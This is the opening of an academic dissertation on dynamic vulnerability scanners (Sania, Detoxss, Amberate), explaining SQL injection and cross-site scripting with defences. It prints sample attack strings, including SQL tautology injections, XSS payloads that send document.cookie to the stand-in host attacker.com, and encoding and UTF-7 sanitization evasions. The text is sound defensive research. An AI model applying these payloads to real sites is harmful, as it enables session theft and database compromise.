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ABSTRACT

A Study on Dynamic Detection of
Web Application Vulnerabilities
Yuji Kosuga

With the evolution of web technologies, web applications have come to provide a wide
range of web services, such as online stores, e-commerce, social network services, etc.
The internal mechanism of web applications has gotten complicated as the web tech-
nologies evolve, which has also led web applications to the increase in the potential to
contain vulnerabilities. WhiteHat Security reported that 83 percent of web applications
they have audited during 2010 had at least one vulnerability. Vulnerability scanners
that perform dynamic analysis are often used for detecting vulnerabilities in a web ap-
plication. The dynamic analysis sends attacks to the web application to check to see if
the output from the web application contains the implication of success of the attacks.
An attack is an HTTP request that contains a maliciously crafted string. The existing
vulnerability scanners that perform dynamic analysis define several malicious strings,
and generate attacks using the same malicious string against different web applications.
As a result, they tend to have a precision problem because of the absence of malicious
strings necessary to exploit the web applications and the execution of useless attacks
that can never be successful.

In this dissertation, we present our technique that performs efficient and precise vul-
nerability detection by dynamically generating effective attacks through investigating
the output issued by the web application, such as an HTTP response or SQL query. By
analyzing the syntax of the point into which attack is injected, our technique is able to
generate only effective attacks as well as to prevent making useless attacks. An attack
is generated by referencing to the attack rule that we prepared for each syntax of the
point into which malicious string is injected. With this approach, we implemented a
prototype Sania for discovering SQL injection vulnerabilities, and Detoxss for Cross-
site Scripting (XSS) vulnerabilities. We demonstrate that these techniques find more
vulnerabilities and performed more efficient testing than existing popular vulnerability
scanners do. In our empirical study, we discovered 131 vulnerabilities in total in web
applications currently in service and open source web applications so far．
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Additionally, we present Amberate a framework for web application vulnerability
scanners, which supports the plugin system to facilitate a new vulnerability detection
technique. Amberate encapsulates functions commonly used for vulnerability detection
techniques that perform dynamic analysis, and provides Application Programming In-
terface (API) for implementing functions different by each vulnerability detection tech-
nique. We demonstrated the ease of extending a new vulnerability detection technique
by comparing the actual lines of code of the Amberate plugin for an XSS vulnerability
detection with a plugin we implemented the same functions as Amberate XSS vulnera-
bility detection plugin on an extensible vulnerability scanner. This result revealed that
Amberate plugin required 500 fewer lines of code, which accounts for 82 percent of
lines of code of the plugin for the other scanner.
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Chapter 1

INTRODUCTION

Web applications have evolved considerably in terms of technology and functionality
since the advent of CGI-based technology in 1993 [1] with which web applications have
come to dynamically construct a web page in reply to each user’s request. Today’s
modern web applications provide rich, interactive user experience and have already
become prevalent around the world with the success of a wide range of web services,
such as on-line stores, e-commerce, social network services, etc.

As web technologies evolve, web applications have also been threatened by new
security attacks. For example, web applications designed to interact with back-end
databases are threatened by SQL injection. SQL injection is an attack that obtains
unrestricted access to databases through the insertion of maliciously crafted strings
into the SQL queries constructed at a web application. With this attack, an attacker is
able to execute an arbitrary SQL query, which grants the administrative privilege to the
attacker or tampers the database. Cross-site scripting (XSS) is also an attack discovered
in the middle of the evolution of web technologies. An interactive web application that
dynamically generates web pages enabled an attacker to inject an arbitrary script into a
web page. By exploiting an XSS flaw, the attacker is able to deface the page content,
or redirect clients to a malicious web site, or steal user’s identity.

With the advent of Asynchronous JavaScript and XML (Ajax) technology, web
applications have come to generate web content without reloading the web page, in
which a client browser dynamically constructs a web page rather than the server-side
program does. Ajax has been rapidly adopted by many web applications for offering
rich user experience since the success of Google Map in 2006. The advent of this new
technology is also followed by the emergence of new types of attacks, such as DOM-
based XSS and JavaScript Hijacking. DOM-based XSS is a type of XSS, which only
works on client-side browsers without requiring web applications to embed malicious
script into a web page. JavaScript Hijacking is an attack that steals JSON [2] format
data, in which an attacker is able to forward a client’s secret information that can be
fetched by only the client.
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CHAPTER 1. INTRODUCTION

Vulnerabilities of these attacks are frequently reported. WhiteHat Security con-
firmed that 83 percent of web applications have at least one serious vulnerability as a
result of assessing the security of the largest companies in e-commerce, financial ser-
vices, technology, and healthcare [3]. These vulnerabilities have become easier to get
unintendedly made in the development phase of web applications. It has also become
difficult to discover them because the structure of web applications has become more
complicated than before as a result of the evolution of the web technologies. Similar
to the attacks that have emerged in the past, it is natural that new technologies will be
followed by new types of attacks in the future. Cenzic reports that cloud and mobile
applications will become the new targets for attackers as enterprises jump into these
new technologies [4].

1.1 Web Application Attacks
Over the past several decades, attacks against web applications have become more
prevalent and sophisticated. There are many methods and mechanisms of attacking
web applications nowadays. In this dissertation, we mainly focus on a type of attack in
which a malicious request is sent to a web application, such as SQL injection and XSS.
For the purpose of describing the extensibility of our technique in Chapter 6, we sup-
plementarily show another type of attack that fetches and forwards client’s information
without sending an attack, such as JavaScript Hijacking. Therefore, in this dissertation,
an attack indicates the first type of attack unless we clearly state the use of the meaning
of the second type.

An attack for a web application that dynamically generates contents in reply to each
client’s request exploits a vulnerability stemming from misconfigurations, bad architec-
ture, or poor programming practices within application code. The attacker creates the
attack by embedding a malicious string into an HTTP request. Since the malicious
string is eventually embedded into the output that the web application generates, the
attacker is able to exploit a vulnerability by carefully creating the malicious string for
altering the syntactic structure of the output to inject an arbitrary malicious command.
The output, in this context, represents a syntactically formatted document appearing as
an HTTP response or an SQL query. The output of interest differs by the type of attack.
For example, a malicious string appears in an HTML, or JavaScript, or CSS document
in XSS but in an SQL query in SQL injection.

A malicious string has to be made according to the syntax of the point where the
malicious string appears in the output. A syntax is the data-type of a non-terminal node
in a parse tree that represents the syntactic structure of the output. Since the malicious
string, in whole or in part, appears as a terminal node, the syntax of the malicious
string is obtained by referencing to the parent node of the terminal node. In addition
to the variety of the document type of the output where a malicious string appears,

2



CHAPTER 1. INTRODUCTION

the malicious string is required to be made according to the syntax in the output, for
altering the structure of the document.

Suppose that a web application issues the following SQL query:

SELECT * FROM users WHERE
name=’ø1’ and num=ø2 (øi: a point where a malicious string appears).

The point ø1 appears as a string value in the SQL query. A malicious string for exploit-
ing ø1 is required to contain a single-quote for ending the name value and injecting an
arbitrary SQL command right after the name value. A malicious string for ø1 is, for ex-
ample, “’ or 1=1--”. Since the two hyphens comment out the subsequent characters,
this attack is successful in injecting the malicious SQL command “or 1=1”, which is
evaluated true. As a result of injecting the malicious command, since the where clause
is always evaluated true, the attacker is able to obtain the whole records stored in the
users table. In the case of ø2 that appears as an integer value in the SQL query, a ma-
licious string is required to start with an integer value, otherwise the syntax of the SQL
query can be broken. A malicious string for ø2, for example, becomes “333 or 1=1”.
In this example, the integer value “333” prevents the syntax destruction, so that this
malicious string injects the SQL command “or 1=1”. As shown in this example, a ma-
licious string has to be made according to the syntax of each point where the malicious
string appears in the output.

Same as the attack mechanism in SQL injection, XSS can also be successful by
altering the syntactic structure of the output. For example, a malicious string appears
in the following HTML document:

<script>document.write("Hello, ø1!!");</script>
<p>Today is ø2.</p> (øi: a point where a malicious string appears).

The first point ø1 appears in a JavaScript string expression and the second one ø2 ap-
pears in an HTML text node. A malicious string for ø1 needs to have a double-quote for
breaking out of the string expression to inject an arbitrary malicious JavaScript com-
mand, such as “");attack();x("”. On the other hand, a malicious script for ø2 needs
to contains an HTML script tag that contains malicious JavaScript command, such as
“<script>attack();</script>”.

As shown here, an arbitrary command is injectable by altering the syntactical struc-
ture of web application output. If an inappropriate malicious string is used, the attack
can not alter the structure of the output, meaning that the attack is not able to make the
command executable.

1.2 Motivation
For securing web applications, several research have been conducted in three areas: 1)
defensive coding with new language and security system, 2) monitoring and prevention
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CHAPTER 1. INTRODUCTION

at runtime, and 3) vulnerability detection. First, the approach for defensive coding with
new language and security system designs a new mechanism for securing web appli-
cations to be created in the future. For example, SOMA [5] is a new web architecture
to be adopted to both browsers and web applications for restricting external domains
to/from which the web application can access. FBML [6] is a new language that wraps
security sensitive coding details. These new systems help us to build new secure web
applications. Second, the approach for monitoring and prevention at runtime prevents
web applications and clients from being subject to attacks. For example, the approach
by Valeur [7] uses machine learning at the server-side for preventing SQL injection, and
Noxes [8] works on a client-side browser for preventing XSS. These runtime prevention
techniques are often implemented on a Web Application Firewall (WAF) at server-side
or as a browser plugin at client-side. This type of approach helps us to prevent existing
attacks.

The third approach, vulnerability detection, is an approach for detecting vulnera-
bilities in web applications, especially in the development and debugging phases. This
approach is conducted either manually by developers or automatically with the use of
vulnerability scanners. The manual approach is the oldest approach, in which, as the
name suggests, an auditor manually reviews source code and/or executes real attacks
to the web application. For discovering vulnerabilities, the auditor is required to be fa-
miliar with the software architecture and source code, and/or to be a computer security
expert who knows well about the attack and prevention mechanisms to attempt effec-
tive attacks tailored to the target web application. A comprehensive audit requires a lot
of time and its success depends entirely on the skill of the auditor. In addition, manual
check is prone to mistakes and oversights.

To avoid the involvement of such human factors, vulnerability scanners are widely
used for detecting vulnerabilities in web applications. The vulnerability scanners au-
tomates the process of vulnerability detection without requiring the auditor to have
detailed knowledge of his or her web applications including security details. The tech-
niques of vulnerability scanners can be mainly categorized into two types: static analy-
sis and dynamic analysis. Static analysis performs security checks with high coverage
rates since this type of analysis investigates security violation from the source code of
the web application. The disadvantage of this analysis is that it does not find vulner-
abilities produced in the runtime environment. On the other hand, dynamic analysis
performs security checks by executing real attacks to web applications for discovering
vulnerabilities that appear in the runtime environment, although there is no guarantee
that this analysis will show every possible case at the source code level as done in the
static analysis. In this way, both approaches have pros and cons and are complemen-
tary to each other. The use of several tools on both sides is generally desirable for
discovering vulnerabilities.

However, the existing dynamic analysis tools have a precision problem. Doupé et

4



CHAPTER 1. INTRODUCTION

al. [9] reported the precision of the existing dynamic analysis scanners is around fifty
percent and Bau et al. [10] reported that the existing scanners can not detect vulner-
abilities of attacks relatively recently discovered. The technique of dynamic analysis
scanners are based on penetration testing, which evaluates the security of web appli-
cations by simulating an attack from a malicious user. Typically they have a list of
malicious strings that are used to exploit potentially vulnerable slots. An attack is gen-
erated by embedding each malicious string in the predefined list into every potentially
vulnerable slot in an HTTP request, without considering the syntax of each point where
a malicious string appears in the web application output. As a result, the same attacks
are used against different web applications, which results in consuming many useless
attacks that can never be successful, because their attacks fail in altering the syntactic
structure of the output. In addition, they tend to fail in detecting vulnerabilities if mali-
cious strings required to detect vulnerabilities are not predefined in the malicious string
list, which results in false negatives. This is the reason why the precision of the existing
dynamic analysis scanners is low.

1.3 Research Overview
The goal of this research is to improve the precision of vulnerability detection that
performs dynamic analysis. The precision can be improved by discovering more vul-
nerabilities and by avoiding the issue of potentially useless attacks that can never be
successful.

To achieve this goal, this research established a vulnerability detection technique
that dynamically generates effective malicious strings for each web application. Since
a malicious string is used to alter the syntactic meaning of the web application output,
our technique dynamically generates malicious strings according to the syntax of each
point where a malicious string appears. With this approach, our technique is able to im-
prove the precision of dynamic analysis by generating only effective attacks appropriate
for each syntax as well as preventing the creation of useless attacks inappropriate for
the syntax, while the existing vulnerability scanners uses predefined malicious strings
against different web applications regardless of the syntax.

In our approach, a malicious string is dynamically generated by referencing to at-
tack rules. An attack rule is a specification about how to create an effective malicious
string according to the syntax of each point where the malicious string appears. Since
the attack rule can be defined by each grammar of the output, we prepared attack rules
for SQL grammar against SQL injection, and rules for HTML, JavaScript, and CSS
against XSS. With this approach, we implemented a prototype Sania for discovering
SQL injection vulnerabilities, and Detoxss for XSS vulnerabilities. We revealed that
these techniques found more vulnerabilities and performed more efficient testing than
an existing popular vulnerability scanner did. In our empirical study, we discovered
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CHAPTER 1. INTRODUCTION

131 vulnerabilities in total in web applications currently in service and open source
web applications．

Additionally, we also present Amberate, a framework for web application vulnera-
bility scanners, which supports a plugin system to facilitate new vulnerability detection
techniques. Amberate encapsulates functions commonly used for vulnerability detec-
tion techniques that perform dynamic analysis, and provides Application Programming
Interfaces (APIs) for implementing functions different by each vulnerability detection
technique. We demonstrated the ease of extending a new vulnerability detection tech-
nique by comparing the actual lines of code for implementing an XSS vulnerability
detection plugin for Amberate with a plugin for an existing extensible vulnerability
scanner. This result revealed that the Amberate plugin required 500 fewer lines of code,
which accounted for 82 percent of lines of code of the plugin for the other scanner.

The contributions of this work are summarized as follows.

• We propose an efficient vulnerability detection technique by dynamically gener-
ating malicious strings according to the syntax of each point where a malicious
string appears in the web application output.

• We present Sania and Detoxss for demonstrating the effectiveness of our vulner-
ability detection technique against SQL injection and XSS.

• We present Amberate a framework for web application vulnerability scanners
that enables to easily extend a new vulnerability detection technique.

With these contributions, this research supports precise vulnerability detection and the
ease of extending a new vulnerability detection technique. This assists vulnerability
auditors in reducing the laborious tasks of vulnerability inspection.

1.4 Organization
The rest of this dissertation is organized as follows. Chapter 2 introduces three attack
techniques closely related to the vulnerability detection techniques we propose, and
discusses prevention techniques against these attacks. Chapter 3 presents previous work
in web application security. The techniques we propose for discovering vulnerabilities
against SQL injection and XSS are presented in Chapter 4 and Chapter 5, respectively.
Chapter 6 introduces Amberate a framework for web application scanners, as a next
generation web application framework for scanners. Finally, Chapter 7 concludes the
dissertation and gives insights to the future directions of this research.
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Chapter 2

WEB APPLICATION ATTACKS
AND PREVENTION

With the rapid growth of the Internet, many web applications are deployed to offer
services for transacting business, fostering friendship, managing personal information,
etc. The data handled on these services is remotely accessible from anywhere with a
valid user identity. By this nature, an attacker is able to get access to the client data if
the attacker succeeds in spoofing the client identity, or the attacker is also able to force
a client to conduct an arbitrary transaction with the client identity. Fortunately for these
attackers, there are many exposed areas on web pages by which the web application
can be exploited. These factors have caused web applications to become an attractive
target for attackers.

In this chapter, we introduce three types of attacks closely related to the vulnera-
bility detection technique we propose in this dissertation. To clarify the details of each
attack, we define some terms below, which are used throughout this dissertation.

• attack point: An attack point is a point in an HTTP request, into which an at-
tacker embeds a malicious string to exploit a vulnerability in a web application.
An attack point can be part of URL, or query-strings, or cookies, or any other
parameters in an HTTP header.

• attack code: An attack code is a maliciously crafted string embedded into an
attack point to exploit a vulnerability. This is usually encoded in URL-encoding
to be transferred on an HTTP channel.

• target slot: A target slot is a slot in the output dynamically generated by the web
application, in which an attack code injected by an attacker appears. The output
of interest differs by attacks. For example, a target slot appears in an SQL query
in SQL injection to execute an arbitrary malicious SQL command. In XSS, a
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target slot appears in the HTTP response to activate an arbitrary malicious script
on the client browser.

2.1 SQL Injection
Web applications designed to interact with back-end databases are threatened by SQL
injection. SQL injection is an attack used to obtain unrestricted access to the database
through the insertion of maliciously crafted strings into the SQL queries constructed
in a web application. This attack allows an attacker to spoof his identity, expose and
tamper with existing data in the database, and control the database with the same priv-
ileges as its administrator. This is caused by a semantic gap in the manipulation of
a user input between a web application and its database. Although a web application
handles the user input as a simple sequence of characters, a database handles it as a
query-string and interprets it as a meaningfully structured command. As a result, the
attacker succeeds in altering the structure of an SQL query for injecting a malicious
SQL command. According to WhiteHat Security [11], 14% of web applications that
they investigated during 2010 had SQL injection vulnerabilities.

SQL injection can be categorized into three types; singular, combination, and stored
attacks. A singular attack inserts an attack code into a single target slot. A combination
attack inserts attack codes into several target slots at a time. A stored attack is a special
type of SQL injection, which can be used in both a singular and a combination attack.
In a stored attack, an attack code is stored temporarily in the web application or persis-
tently in the database, and is later activated when the data is used to construct another
SQL query. In this section, we introduce attack and prevention techniques for each of
them.

2.1.1 Singular SQL Injection
A singular SQL injection is an attack that attempts to exploit one target slot at a time.
We give a real example to demonstrate a singular attack. Suppose a web application
verifies a client’s identity with his user id and password submitted via its authentication
web page. The id is a number value and the password is a string value. For checking to
see if the specified user is already registered, the web application issues the following
SQL query to the database.

SELECT * FROM users WHERE
id = ø1 and password = ’ø2’ (øi: target slot)

The web application embeds the user id and password into the target slots ø1 and ø2,
respectively. If a client submits an authentication form with his id and password as
“123” and “abc”, these values are applied to ø1 and ø2, and the syntax tree of the where
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id 123 password abc

equation equation

and

(a) The syntax tree of an SQL query constructed
using innocent values

id 123 password

equation equation

and

1

equation

or

1

(b) The syntax tree of an exploited SQL query

id 123 password ' or '1'='1

equation equation

and

(c) The syntax tree of an SQL query constructed
using sanitized values

Figure 2.1: Syntax trees of safe and exploited SQL queries

clause in this SQL query is constructed as shown in Figure 2.1(a). This tree has a single
node for the password value.

An attacker is able to alter the structure of this tree, so that an arbitrary SQL com-
mand is executed at the database. If the attacker enters an attack code “’ or ’1’=’1”
as his password value, the resulting SQL query becomes as follows.

SELECT * FROM users WHERE id = 123 and password = ” or ’1’=’1’

In this SQL query, the where clause always returns true because the malicious SQL
command “’1’=’1’” in the right expression of the or clause is evaluated true. As
a result, the SQL query returns all the information stored in the users table. The
reason that this attack succeeds is because a single quote changes the structure of the
SQL query. The syntax tree of the resulting SQL query is constructed as shown in
Figure 2.1(b). In this tree, the or clause is generated at the top of this statement and
the right expression of it has an equation that always returns true. As illustrated in this
example, SQL injection can alter the structure of syntax tree generated from an SQL
query with the success in injecting an attack code.

9
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Sanitizing is a technique that prevents SQL injection by escaping potentially harm-
ful characters in client requests. To prevent the SQL injection shown above, the web
application must sanitize every single quote by replacing it with a set of a backslash
and a single quote such as “\’”, since the single quote changed the structure of the
SQL query. If the attack code entered in the previous example was properly sanitized,
the query becomes:

SELECT * FROM users WHERE id = 123 and password = ’\’ or \’1\’=\’1’.

In this SQL query, the entered values are regarded as a single string. The syntax tree of
this SQL query shown in Figure 2.1(c) has the same structure as the SQL query con-
structed using innocent values. As seen here, sanitizing is an effective countermeasure
to prevent altering the structure of an SQL query.

From the viewpoint of an attacker who sends an attack to the web application, an
attack code has to be made according to the syntax of each target slot. Otherwise, the
attack code can break the syntax of the SQL query, which results in a syntax error raised
at the database or just a failure in injecting the malicious SQL command due to being
regarded as a single string. In the previous example, since ø1 appears as an integer
value in the SQL query, a malicious string is required to start with an integer value,
otherwise the syntax of the SQL query can be broken. A malicious string for ø1, for
example, becomes “333 or 1=1--”. In this example, the integer value “333” prevents
the syntax destruction and the two hyphens comments out its following characters, so
that this malicious string injects the SQL command “or 1=1”. On the other hand, as
seen previously, a single-quote is required to exploit ø2 such as “’ or ’1’=’1”. As
illustrated in this example, an attack code has to be made according to the syntax of
each target slot.

2.1.2 Combination SQL Injection
A combination SQL injection is an attack that exploits two target slots at the same time.
An attacker inserts a special character into the first target slot and an SQL command
into the second to cause an SQL injection. We have two techniques to conduct a combi-
nation attack; one is by the use of a backslash and the other is by the use of a multi-byte
character.

A combination attack that uses a backslash embeds the backslash into the first target
slot. Suppose a web application issues the following SQL query:

SELECT * FROM users WHERE
name=’ø1’ and password=’ø2’ (øi: target slot).

An attacker inserts a backslash to the first target slot (ø1) and a string “ or 1=1--” to
the second (ø2), resulting in the following SQL query:
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SELECT * FROM users WHERE name=’\’ and password=’ or 1=1--’.

The name parameter is identified as “’ and password=” because the injected back-
slash escapes the single quote of the latter single quote of the name value. Thus, the
where clause is evaluated true because “1=1” is always true and the single quote at the
end of the query is commented out by a set of two hyphens “--”.

The reason why the combination attack is successful is because it alters the structure
of the SQL query by escaping the single quote that was supposed to end the name value.
Because of this reason, combination attacks can be effectively prevented by sanitizing
backslashes, in which a backslash is replaced with a set of two backslashes (\\). Since
databases recognize a set of two backslashes as a single backslash character, we can
prevent the malicious syntax change attempted by combination attacks.

On the other hand, a combination attack that uses a multi-byte character is also
known as a multi-byte SQL injection [12]. A multi-byte SQL injection injects a multi-
byte character to the first target slot instead of a backslash used in a regular combination
attack introduced above.

In a multi-byte attack, a multi-byte character hides a backslash that is embedded in
the process of sanitizing for escaping a quote. For example, since the addslashes()
function in PHP changes a single-quote “’” into a set of a backslash and a single quote
“\’”, a user-supplied input “0x97’ or 1=1” can be expected to change into “0x97\’
or 1=1”. However, in the Shift_JIS character set, “0x97’ or 1=1” is changed into
“予’ or 1=1”, in which the single quote is not sanitized properly. At the ascii code
level, “0x97’” becomes 0x9727 (“’” is 0x27). The addslashes() function changes
0x9727 to 0x975c27 because “’” (0x27) is changed to “\’” (0x5c27). When this byte
sequence (0x975c27) is interpreted in Shift_JIS, it becomes “予’” because 0x975c
represents a multi-byte character “予” in Shift_JIS. In this way, a multi-byte character
hides a backslash. Similarly, a multi-byte attack is also possible in UTF-8, UTF-16,
BIG5, and GBK character sets, if a backslash is preceded by a byte code that does not
represent a letter or a digit or a symbol (0x20∼0x7e).

The cause of a multi-byte SQL injection vulnerability lies in byte-sequence han-
dling of addslashes() function. Instead of this function, we can avoid this type of
vulnerability by using mysql_real_escape_string(), prepared statements, or any
of the major database abstraction libraries.

2.1.3 Stored SQL Injection
A stored SQL injection is a special type of SQL injection, which can be used in both
a singular and a combination attack. In a stored attack, an attack code is stored tem-
porarily in the web application or persistently in the database, and later an SQL query
containing the attack code is issued to the database in response to a certain request. To
execute a stored attack, we first need to identify an attack point in an HTTP request of
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which value can be persistently stored at the server-side. For a stored attack, we espe-
cially call such an attack point as a persistent parameter, and an attack to the persistent
parameter is known as a stored SQL injection or second-order SQL injection [13].

For example, a request R1 contains a persistent parameter p1 but does not trigger
an issue of any SQL query. The second request R2 neither contains any parameter nor
issues an SQL query. And the third request R3 has no parameters but issues an SQL
query that contains the value of p1. In a real world web application, a stored SQL
injection vulnerability appears, for example, in a user account edit page. Suppose that
a vulnerability lies in an input field for modifying a user’s address, and the field is
used for searching neighbors using the address. If an attacker exploits the field with
an attack code, the attack is executed when other clients request the web page that
displays attacker’s neighbors because the attack code is embedded into an SQL query
for fetching other users information near the attacker’s address.

A stored SQL injection can be prevented by sanitizing with the same approaches
introduced in the sections for singular and combination attacks, since a stored attack is
a subset of either a singular or a combination attack.

2.2 Cross-site Scripting (XSS)
Cross-site scripting (XSS) is a type of web application attack that allows an attacker
to inject a malicious script into a web page viewed by other clients. It enables the
attacker to access any cookies, session tokens, or other personal information retained
by a user’s browser. XSS are classified into three categories: reflected, stored, and
DOM-based XSS.

The traditional type of XSS emerged with the advent of CGI technology that dy-
namically generates a web page according to a client’s request. This traditional type of
XSS is called a reflected XSS. The adoption of the Web 2.0 technology1, such as the
use of persistent data and Ajax, introduced new types of XSS: stored XSS and DOM-
based XSS. Both novel XSS attacks are more powerful than the traditional reflected
XSS. Stored XSS is indiscriminate, because all users visiting a compromised website
are subject to the attack. Stored XSS occurs when data provided by an attacker is per-
sistently stored at the server side and is later displayed to other users in a web page.
DOM-based XSS is stealthy because the attack data does not appear in a raw HTML
page. Instead, it is processed on the client side, typically by JavaScript.

According to WhiteHat [11], XSS is the most prevalent web application vulnera-
bility during 2010; 71% of web applications are vulnerable to XSS. In this section, we

1We consider Web 2.0 from the viewpoint of interactive websites with storing persistent data, in
which users can communicate with other users or change website content, in contrast to non-interactive
websites where users are limited to viewing static web pages.
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describe the three major XSS types and sanitization evasion techniques to successfully
exploit XSS vulnerabilities.

2.2.1 Reflected XSS
A reflected XSS (also known as a non-persistent or Type 1 XSS) is the traditional form
of XSS. A reflected XSS vulnerability lies in a web application in which a user input is
embedded into a response page. An attacker, in the simplest attack scenario, makes a
malicious link containing an attack code and lures the victim into clicking on it to send
a request to the web application. When receiving the response that the web application
generated in reply to the request, the browser loads and automatically executes the
attack code embedded into the response. As a result, the browser sends cookies or
other sensitive data to the attacker.

Suppose a web application creates the following HTML page in reply to a client
request.

<html><body>Hello, ø1!!!
<div data=’ø2’>< /div></body></html> (øi: target slot)

In this web application, by accessing with the following URL, the user name and data
are embedded into the target slots ø1 and ø2, respectively.

http://vulnerable.com/?name=xyz&data=555

An attacker is able to inject an attack code into the response document for executing
an arbitrary JavaScript on the client browser by making a client click on the following
link.

http://vulnerable.com/?name=<script>document.location=
’http://attacker.com/?’+document.cookie;</script>&data=555

In this URL, the name value contains an HTML script tag. The resulting response as
shown below has the script tag in the slot where a user name was supposed to appear.

<html><body>Hello, <script>document.location=
’http://attacker.com/?’+document.cookie;</script>!!!
<div data=’555’>< /div></body></html>

When the client browser loads this response, this script is executed automatically, and
the client’s cookie is sent to the attacker’s server (attacker.com). By using this cookie
for accessing the vulnerable web application, the attacker is able to spoof the client’s
identity and perform any action the client is able to do. In this XSS example, the
injected script tag changed the syntactical meaning of the response HTML document,
thus the client browser executed the malicious script in the script tag.

Similarly, an attack is also available to ø2 by using the following attack code into
the data parameter in the URL.
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’ onmouseover=’document.location=
"http://attacker.com/?"+document.cookie;

This attack code closes the single quote of the data value in the resulting HTML doc-
ument and inject a new HTML attribute (onmouseover). Because the onmouseover
attribute activates the JavaScript event when the client mouse pointer enters the div
element, the client browser sends his cookie to the attacker.

As shown above, by injecting an HTML tag or a new HTML attribute, the structure
of the response document is altered to execute the attack codes. In addition, the two
example shows that an attacker needs to inject attack codes according to each slot where
the attack codes appear, so that it can alter the syntactical meaning of the document.

Same as the prevention technique against SQL injection, sanitizing is also an ef-
fective countermeasure against XSS attacks. To prevent an attack from altering the
structure of the response document, a web application program needs to convert spe-
cial characters to safe ones. For example, “<” and “>” denote “&lt;” and “&gt;”
in HTML entity encoding, respectively. The characters in HTML entity encoding
are treated as syntactically meaningless characters. This sanitizing process is usu-
ally wrapped in programming languages or libraries. For example, PHP provides the
htmlspecialchars() method for converting potentially harmful characters into their
escaped HTML entity equivalents. The developer of web applications are highly rec-
ommended to use these functions.

2.2.2 Stored XSS
A stored XSS (also known as a persistent, second-order, or Type 2 XSS) is a recent
type of XSS, having emerged with the integration of the web and data stores. In stored
XSS, a user-supplied input is stored (typically in a database) for later use in creating the
pages that will be sent to other users. This type of XSS is indiscriminate because the
injected code works on all viewers’ browsers. For example, a forum website in which
a client can post a comment about a topic and other clients can view it later. On this
website, an attacker sends a request for posting a new comment that contains an attack
code. If the comment is not properly sanitized, the attack code can be activated on the
browsers of clients who open the web page containing the comment.

For preventing a stored XSS, since the mechanism that an attack code appears in a
response document is the same as that in a reflected XSS, it is also effective to sanitize
user-supplied inputs before embedding the attack codes into the response document.

2.2.3 DOM-based XSS
DOM [14] stands for the Document Object Model that is an application programming
interface (API) for HTML, XHTML and XML documents. It defines the logical struc-
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ture of documents and can be accessed via languages implemented in the browser, such
as JavaScript, JScript, ECMAScript, and VBScript. Programs and scripts written in
these languages can dynamically add, delete, and manipulate styles, attributes, and el-
ements in the documents.

A DOM-based [15] XSS (also known as a local, or Type 0 XSS) is another re-
cent type of XSS attack, which has emerged with the advent of Ajax (Asynchronous
JavaScript and XML) technology. In a DOM-based XSS, a user-supplied input is im-
mediately processed solely on the client side, without any interaction with the web
application.

Suppose the URL of a vulnerable web page is “http://hostname/index.html”,
and the response HTML document contains the following JavaScript code.

<script>
var p=document.URL.indexOf("echo=")+5;
document.write(document.URL.substring(p,document.URL.length));

</script>

Because the JavaScript function “document.write” prints its arguments on the re-
sponse document, this script dynamically constructs a web page on the client browser
for displaying the value of the echo parameter at the end of the URL. For exam-
ple, a client accesses the web page with the following URL, the web page displays
“Hello!!”.

http://hostname/index.html?echo=Hello!!

If the echo parameter is not properly sanitized, the following request results in the
execution of a malicious script that steals a cookie from the victim’s browser.

http://hostname/index.html?echo=<script>document.location=
’http://attacker.com/?’+document.cookie;</script>

In DOM-based XSS, no attack code is embedded into a raw response document but
is dynamically done by the browser after it loads the document, while the other XSS
techniques embeds an attack code at the server-side. Therefore, DOM-based XSS is
difficult to detect at the server side. In the example above, although it can be possible to
detect an attack from the URL used for fetching a document, this server-side detection
becomes completely unavailable when a fragment identifier is used for passing an attack
code. A fragment identifier is the optional last part of a URL after a hash mark (#). It
is not sent to the web application but typically is used for constructing a web page after
fetching a document or navigating the HTML document. If a web application prints the
fragment identifier without securing it, a DOM-based XSS is not only successful but
the web application cannot detect the attack at all.
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For securing a web application from DOM-based XSS, a web application has to be
implemented to make a secure response. The script in the response has to contain sani-
tizing functions that convert harmful characters extracted from the URL into safe ones.
The countermeasure against other types of XSS is also effective in preventing DOM-
based XSS if it is implemented on the client side program, since the attack mechanism
of activating a script is the same as other types of XSS, such as creating a new script
tag or a new JavaScript node.

2.2.4 Sanitization Evasion
Sanitizing is a well-known effective technique for preventing XSS. There are, however,
some techniques that evade sanitizing so as to successfully exploit XSS vulnerabilities.
To write sanitizing code correctly, developers must be familiar with many aspects of
encodings and browser-specific behaviors. Here, we introduce browser quirks and three
encoding-related techniques: character encoding, UTF-7, and combination.

2.2.4.1 XSS with Browser Quirks

A browser quirk is a peculiar behavior of a browser and is caused by incomplete imple-
mentation or implementation of ambiguous parts of browser standards. Any browser
quirk only works on specific browsers. For example, the following code only works in
Opera and old versions of IE.

<img src="javascript:alert(’xss’);">

The following code only works in Safari 4 and 5.

<script src="\\attacker.com\xss.js"></script>

It is troublesome that quirks vary among browsers. Even worse, quirks are complex
to model and not entirely understood. To build a secure web application, the developers
must check whether it is safe under different browser environments. Interested readers
can refer to [16, 17] for other browser quirks.

2.2.4.2 XSS with Character Encoding

In a character encoding attack, an attacker can bypass sanitizing functions by encod-
ing the attack code in another format. For example, the string “javascript” looks
completely different in HTML hex encoding as follows .

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;

In addition to the HTML hex encoding, characters can also be encoded in URL,
UTF-8 Unicode, Long UTF-8 Unicode, and other encodings. The following is some
examples for expressing a left angle bracket (<) in various encodings.
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%3C, &lt, &lt;, &LT, &LT;, &#60, &#060, &#0060, &#00060, &#000060,
&#0000060, &#x3c;, &#x03c;, &#x003c;, &#x0003c;, &#x00003c;,
\x3c, \x3C, \u003c, \u003C

Although this level of encoding is automatically decoded at the web application and
browser, a misunderstanding about the intended character set between the server and
browser may enable an attacker to execute an XSS. To prevent this issue, it is important
to specify a single encoding, such as UTF-8, for all communications.

2.2.4.3 UTF-7 XSS

A UTF-7 XSS [18] executes an XSS attack using UTF-7 encoded script for evading
sanitizing functions. If the encoded script is not decoded in the web application pro-
gram, this attack can bypass the sanitizing functions. The attack can be successful
if a client browser recognizes that the web page is written in UTF-7, decodes it, and
activates the script.

The script tag “<script>” becomes “+ADw-script+AD4-” in UTF-7. The en-
coded string has no meta-characters such as “<” and “>”, so this string can bypass
sanitizing functions. When the character set of a response document is not specified,
the browser tries to determine the proper charset. If the browser recognizes the docu-
ment as written in UTF-7, it will execute the malicious script written in UTF-7.

The reason that a UTF-7 XSS can be successful is because a client browser decodes
the web page in UTF-7 encoding, even when the web application does not intend so.
The browser automatically infers the encoding of a web page as UTF-7 when an en-
coded string is located before a meta tag that specifies the encoding of the web page or
an improper encoding is specified in the meta tag. Using this mechanism, an attacker
